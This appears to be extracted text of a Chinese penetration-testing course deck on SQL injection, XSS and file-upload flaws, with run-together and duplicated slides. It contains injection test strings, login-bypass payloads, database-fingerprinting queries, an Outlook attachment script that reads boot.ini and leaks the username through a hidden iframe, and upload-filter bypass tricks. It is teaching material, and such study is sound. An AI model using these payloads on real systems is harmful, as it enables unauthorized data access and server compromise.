WEB常見攻擊與滲透測試課件_第1頁
WEB常見攻擊與滲透測試課件_第2頁
WEB常見攻擊與滲透測試課件_第3頁
WEB常見攻擊與滲透測試課件_第4頁
WEB常見攻擊與滲透測試課件_第5頁
已閱讀5頁,還剩53頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

WEB常見攻擊與滲透測試hero.security@目錄SQL注入詳解XSS跨站腳本攻擊詳解上傳與下載漏洞SQL注入詳解SQL注入詳解SQL注入介紹SQL注入測試?yán)肧QL注入主流數(shù)據(jù)庫SQL盲注利用主流數(shù)據(jù)庫SQL高級利用實(shí)現(xiàn)對操作系統(tǒng)進(jìn)行滲透SQL注入介紹SQL注入是一種將SQL代碼插入或添加到應(yīng)用的輸入?yún)?shù)中的攻擊,之后再將這些參數(shù)傳遞給后臺的SQL服務(wù)器加以解析并執(zhí)行。凡是構(gòu)造SQL語句的步驟均存在被潛在攻擊的風(fēng)險,因?yàn)镾QL的多樣性和構(gòu)造時使用的方法均提供了豐富的編碼手段SQL注入的本質(zhì)就是混淆數(shù)據(jù)和執(zhí)行代碼,使輸入的數(shù)據(jù)變成可執(zhí)行的語句。SQL注入介紹SQL注入攻擊危害饒過驗(yàn)證(常見的為管理登陸)獲取數(shù)據(jù)庫信息通過數(shù)據(jù)庫獲取系統(tǒng)權(quán)限SQL注入介紹SQL注入測試?yán)肧QL注入主流數(shù)據(jù)庫SQL盲注利用主流數(shù)據(jù)庫SQL高級利用實(shí)現(xiàn)對操作系統(tǒng)進(jìn)行滲透SQL注入測試最簡單的測試http://host/test.php?id=100’ 返回錯誤http://host/test.php?id=100and1=1返回正常http://host/test.php?id=100and1=2 返回錯誤SQL注入測試SQL注入攻擊過程判斷注入點(diǎn)判斷注入點(diǎn)類型判斷數(shù)據(jù)庫類型獲取數(shù)據(jù)庫數(shù)據(jù)庫,提權(quán)SQL注入測試三種注入類型測試方法數(shù)字型 測試方法:

http://host/test.php?id=100and1=1 返回成功

http://host/test.php?id=100and1=2 返回失敗 產(chǎn)生原因:

sqlstr=“select*fromnewswhereid=”+request.getParameter(“id”)SQL注入測試三種注入類型測試方法字符型 測試方法:

http://host/test.php?name=rainman’and‘1’=‘1 返回成功

http://host/test.php?name=rainman’and‘1’=‘2 返回失敗 產(chǎn)生原因:

sqlstr=“select*fromnewswhereid=‘”+request.getParameter(“name”)+”’”SQL注入測試三種注入類型測試方法搜索型 測試方法:

http://host/test.php?keyword=test%’and‘%’=‘ 返回test查詢相同結(jié)果

http://host/test.php?id=test%’and‘%’=‘ 返回少于test查詢結(jié)果的內(nèi)容 產(chǎn)生原因:

sqlstr=“select*fromnewswherekeywordlike‘%”+request.getParameter(“keyword”)+”%’”判斷注入方式內(nèi)聯(lián)式SQL注入內(nèi)聯(lián)注入是指查詢注入SQL代碼后,原來的查詢?nèi)匀蝗繄?zhí)行Sqlstr=“select*fromadminwhereusername=‘”+username+”’andpassword=‘”+password+”’”username=“’or‘’=‘”password=“’or‘’=‘”SQL注入測試判斷注入方式終止式SQL注入終止式SQL語句注入是指攻擊者在注入SQL代碼時,通過注釋剩下的查詢來成功結(jié)束該語句。被注釋的查詢不會被執(zhí)行Sqlstr=“select*fromadminwhereusername=‘”+username+”’andpassword=‘”+password+”’”username=“’or‘’=‘’--“password=“anystring”常見的終止方式終止字符串:--,#,%23,%00,/*終止方法:--,‘--,‘)--,)--,‘))--,))--SQL注入測試觸發(fā)SQL注入所有的輸入只要和數(shù)據(jù)庫進(jìn)行交互的,都有可能觸發(fā)SQL注入常見的包括:Get參數(shù)觸發(fā)SQL注入POST參數(shù)觸發(fā)SQL注入Cookie觸發(fā)SQL注入其他參與sql執(zhí)行的輸入都有可能進(jìn)行SQL注入SQL注入測試手工測試工具BurpsuitSQL注入測試手工測試工具Hackbar(Firefox插件)SQL注入測試SQL注入詳解SQL注入測試?yán)肧QL注入主流數(shù)據(jù)庫SQL盲注利用主流數(shù)據(jù)庫SQL高級利用實(shí)現(xiàn)對操作系統(tǒng)進(jìn)行滲透識別數(shù)據(jù)庫類型要成功的發(fā)動SQL注入攻擊,最重要的是知道應(yīng)用正在使用的DBMS。沒有這一信息就不可能向查詢注入信息并提取自己所感興趣的數(shù)據(jù)。利用SQL注入主流數(shù)據(jù)庫常見構(gòu)架判斷數(shù)據(jù)庫類型asp+accessasp+mssql+mssqlphp+mysqlJsp+oraclejsp+mysql利用SQL注入主流數(shù)據(jù)庫判斷數(shù)據(jù)庫類型使用一些特征判斷數(shù)據(jù)庫類型報錯信息:

Oracle:ORA-01756:括號內(nèi)的字符串沒有正確結(jié)束

Mysql:ERROR1064(42000):YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenear MSSQL:[Microsoft][ODBCSQLServerDriver][SQLServer]字符串’’之前有未閉合的引號利用SQL注入主流數(shù)據(jù)庫判斷數(shù)據(jù)庫類型通過特有數(shù)據(jù)表進(jìn)行判斷

MSQQL數(shù)據(jù)庫:

http://host/test.php?id=100and(selectcount(*)fromsysobjects)>0and1=1

Access數(shù)據(jù)庫: http://host/test.php?id=100and(selectcount(*)frommsysobjects)>0and1=1

Mysql數(shù)據(jù)庫:

http://host/test.php?id=100and(selectcount(*)frominformation_schema.TABLES)>0and1=1 mysql>5.0

Oracle數(shù)據(jù)庫:

http://host/test.php?id=100and(selectcount(*)fromsys.user_tables)>0and1=1

利用SQL注入主流數(shù)據(jù)庫使用字符連接方式判斷數(shù)據(jù)庫類型MSSQL數(shù)據(jù)庫http://host/test.php?id=100and‘1’+’1’=‘11’MySql數(shù)據(jù)庫http://host/test.php?id=100and‘1’+’1’=‘11’http://host/test.php?id=100andCONCAT(‘1’,’1’)=‘11’Oracle數(shù)據(jù)庫http://host/test.php?id=100and‘1’||’1’=‘11’http://host/test.php?id=100andCONCAT(‘1’,’1’)=‘11’利用SQL注入主流數(shù)據(jù)庫使用union獲取數(shù)據(jù)Union是數(shù)據(jù)庫管理員經(jīng)常使用且可以掌控的運(yùn)算符之一,可以使用它連接兩條或多條select語句的查詢結(jié)果。其基本語法如下:Selectcolum1,colum2,colum3,…,columNfromtable1UnionSelectcolum1,colum2,colum3,…,columNfromtable2

如果應(yīng)用返回第一個(原始)查詢得到的數(shù)據(jù),那么通過在第一個查詢后注入一個UNION運(yùn)算符,并添加另一個任意查詢,便可讀取到數(shù)據(jù)庫用戶有權(quán)限訪問的任何一張表。利用SQL注入主流數(shù)據(jù)庫使用union獲取數(shù)據(jù)規(guī)則兩個查詢返回的列數(shù)必須相同。兩個SELECT語句返回的數(shù)據(jù)庫對應(yīng)的列必須類型相同或兼容通常只有終止式注入時,可較快猜解并利用,否則要知道原始的SQL語句才能比較方便的利用利用SQL注入主流數(shù)據(jù)庫Union不適用的地方注入語句無法截?cái)?,且不清楚完整的SQL查詢語句Web頁面中有兩個SQL查詢語句,查詢語句的列數(shù)不同利用SQL注入主流數(shù)據(jù)庫SQL注入詳解SQL注入測試?yán)肧QL注入主流數(shù)據(jù)庫SQL盲注利用主流數(shù)據(jù)庫SQL高級利用實(shí)現(xiàn)對操作系統(tǒng)進(jìn)行滲透什么是盲注盲注是指在無法使用詳細(xì)數(shù)據(jù)庫錯消息或帶內(nèi)數(shù)據(jù)連接的情況下,利用數(shù)據(jù)庫查詢的輸入審查漏洞從數(shù)據(jù)庫提取信息或提取與數(shù)據(jù)庫查詢相關(guān)信息的攻擊技術(shù)如果設(shè)計(jì)出了完整的查詢(包括所有的相關(guān)的列及類型),帶內(nèi)數(shù)據(jù)庫連接會變的非常容易,因而攻擊者在轉(zhuǎn)向更復(fù)雜的SQL盲注技術(shù)之前回力求確定查詢結(jié)構(gòu)SQL盲注利用主流數(shù)據(jù)庫常見的盲注環(huán)境提交一個導(dǎo)致SQL查詢無效的利用是會返回一個通用錯誤頁面,而提交正確的SQL時則返回一個內(nèi)容可被適度控制的頁面提交一個導(dǎo)致SQL查詢無效的利用時會返回一個通用的錯誤頁面,而提交正確的SQL時則會返回一個內(nèi)容不可控的頁面提交受損或不正確的SQL既不會產(chǎn)生錯誤頁面,也不以仍和方式影響頁面輸出SQL盲注利用主流數(shù)據(jù)庫推斷技術(shù)對判斷的信息轉(zhuǎn)換的True和False兩種狀態(tài)關(guān)鍵函數(shù)MSSQLSubstring(str,1,1)Ascii(char)Len(str)MYSQLSubstr(str1,1)Ascii(char)Length(str)ORACLE Substr(str,1,1) Ascii(char) Length(str)SQL盲注利用主流數(shù)據(jù)庫什么是盲注盲注是指在無法使用詳細(xì)數(shù)據(jù)庫錯消息或帶內(nèi)數(shù)據(jù)連接的情況下,利用數(shù)據(jù)庫查詢的輸入審查漏洞從數(shù)據(jù)庫提取信息或提取與數(shù)據(jù)庫查詢相關(guān)信息的攻擊技術(shù)如果設(shè)計(jì)出了完整的查詢(包括所有的相關(guān)的列及類型),帶內(nèi)數(shù)據(jù)庫連接會變的非常容易,因而攻擊者在轉(zhuǎn)向更復(fù)雜的SQL盲注技術(shù)之前回力求確定查詢結(jié)構(gòu)SQL盲注利用主流數(shù)據(jù)庫常見的盲注環(huán)境提交一個導(dǎo)致SQL查詢無效的利用是會返回一個通用錯誤頁面,而提交正確的SQL時則返回一個內(nèi)容可被適度控制的頁面提交一個導(dǎo)致SQL查詢無效的利用時會返回一個通用的錯誤頁面,而提交正確的SQL時則會返回一個內(nèi)容不可控的頁面提交受損或不正確的SQL既不會產(chǎn)生錯誤頁面,也不以仍和方式影響頁面輸出SQL盲注利用主流數(shù)據(jù)庫SQL注入詳解SQL注入測試?yán)肧QL注入主流數(shù)據(jù)庫SQL盲注利用主流數(shù)據(jù)庫SQL高級利用實(shí)現(xiàn)對操作系統(tǒng)進(jìn)行滲透判斷Mysql數(shù)據(jù)庫mysql>5.0magic_quotes_gpc OnVERSION 5.1.59DATABASE pcmarket_v2USERpcmarket_shop@localhostSYSTEM_USER pcmarket_shop@localhostSESSION_USER pcmarket_shop@localhostCURRENT_USER pcmarket_shop@%BASEDIR /usr/DATADIR /var/lib/mysql/TEMPDIR /tmpOS redhat-linux-gnuXSS跨站腳本攻擊詳解XSS跨站腳本概述XSS跨站攻擊案例模式XSS(Cross-SiteScripting)即跨站腳本攻擊,這類攻擊發(fā)生在客戶端,是攻擊者將惡意代碼注入到Web客戶端,從而影響到其他瀏覽此Web界面的用戶注入的惡意代碼包括:危險的HTML標(biāo)簽、客戶端腳本、其它能執(zhí)行JS的容器等大多數(shù)時候與JavaScript有關(guān)注入源form:post/geturlparameterscookieheaderhtml媒體文件的內(nèi)容只要是輸入點(diǎn)都可以是注入源XSS跨站腳本概述XSS危害掛馬盜取用戶cookieDOS客戶端瀏覽器釣魚攻擊,高級釣魚技巧編寫針對性的XSSVIRUS,刪除目標(biāo)文章、惡意篡改數(shù)據(jù)、嫁禍、“借刀殺人”……劫持用戶web行為甚至進(jìn)一步滲透內(nèi)網(wǎng)爆發(fā)Web2.0蠕蟲蠕蟲式的DDOS攻擊蠕蟲式掛馬攻擊、刷廣告、刷流量、破壞網(wǎng)上數(shù)據(jù)……XSS跨站腳本概述分類存儲式這是利用起來最方便的跨站類型,跨站代碼存儲于服務(wù)端(比如數(shù)據(jù)庫中)反射式跨站代碼一般存在于鏈接中,請求這樣的鏈接時,跨站代碼經(jīng)過服務(wù)端反射回來,這類跨站的代碼一般不存儲到服務(wù)端DOM式一種基于DOM的跨站,這是客戶端腳本自身解析不正確導(dǎo)致的安全問題XSS跨站腳本概述哪兒可以XSSHTML本身HTML元素、元素屬性、CSS等XML文檔Flash客戶端軟件QQ2009、office、rar自解壓等HTML上的一些媒體元素wmf,word,pdf,applet……XSS跨站腳本概述XSS跨站腳本概述XSS跨站攻擊案例模式Outlook漏洞說明1.本地文件讀?。簻y試環(huán)境:win2k3+office2k3發(fā)送附件demo.htm代碼如下:<script>xmlhttp=newActiveXObject("Msxml2.XMLHTTP.3.0");xmlhttp.open("GET","../../../../../../../../../../../../../../boot.ini",false);xmlhttp.send();alert(xmlhttp.responseText);</script>當(dāng)用戶打開附件demo.htm時候,可以得到c:\boot.ini的內(nèi)容2.信息泄漏:發(fā)送附件demo.htm代碼如下:<script>alert(document.URL)</script>得到附件目錄例如:C:\DocumentsandSettings\Administrator\LocalSettings\TemporaryInternetFiles\OLKxxx可以得到當(dāng)前系統(tǒng)目錄和當(dāng)前用戶名??梢耘浜掀渌梅绞絹韺?shí)行攻擊,如《Hackingwithmhtmlprotocolhandler》里描敘的漏洞和利用方式,最終導(dǎo)致本讀文件讀取、執(zhí)行任意文件可能。演示:<script>varpath=document.URL;varregx=/Settings\\(.*)\\Local/varrs=regx.exec(path);username=rs[1];iframe_dom("/hackgame/xs-g0.php?username="+username);functioniframe_dom(script_filename){vard=window.document;varnewIframe=d.createElement('iframe');newIframe.src=script_filename;newIframe.style.width=0;newIframe.style.height=0;d.appendChild(newIframe);returnfalse;}</script>上傳與下載漏洞沒有限制上傳類型應(yīng)用程序開放了上傳功能,但是沒有限制上傳文件類型,并且上傳后的文件直接在WEB目錄下,可通過URL直接運(yùn)行上傳的腳本文件上傳類型過濾不嚴(yán)格使用黑洞單方式禁止部分后綴的文件上傳IfFileExt="asp"orFileExt="asa"orFileExt="aspx"orFileExt="shtml"Then CheckFileExt=FalseExitFunction默認(rèn)情況下,可上傳cdx,cer等文件執(zhí)行腳本功能上傳漏洞使用替換的方式限制后綴FixName=Replace(FixName,"asp","")FixName=Replace(FixName,"asa","")FixName=Replace(FixName,"aspx","")FixName=Replace(FixName,"cer","")FixName=Replace(FixName,"cdx","")FixName=Replace(FixName,"htr","")可通過aaspsp,aaspxspx等方式饒過驗(yàn)證上傳漏洞使用ConentType判斷上傳文件類型部分程序會通過http頭中的ConentType來判斷文件類型,可通過直接修改http包頭饒過if(!(file.getContentType().equalsIgnoreCase("image/pjpeg") ||file.getContentType().equalsIgnoreCase("image/gif") ||file.getContentType().equalsIgnoreCase("image/bmp"))){ returnmapping.findForward("failure");

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論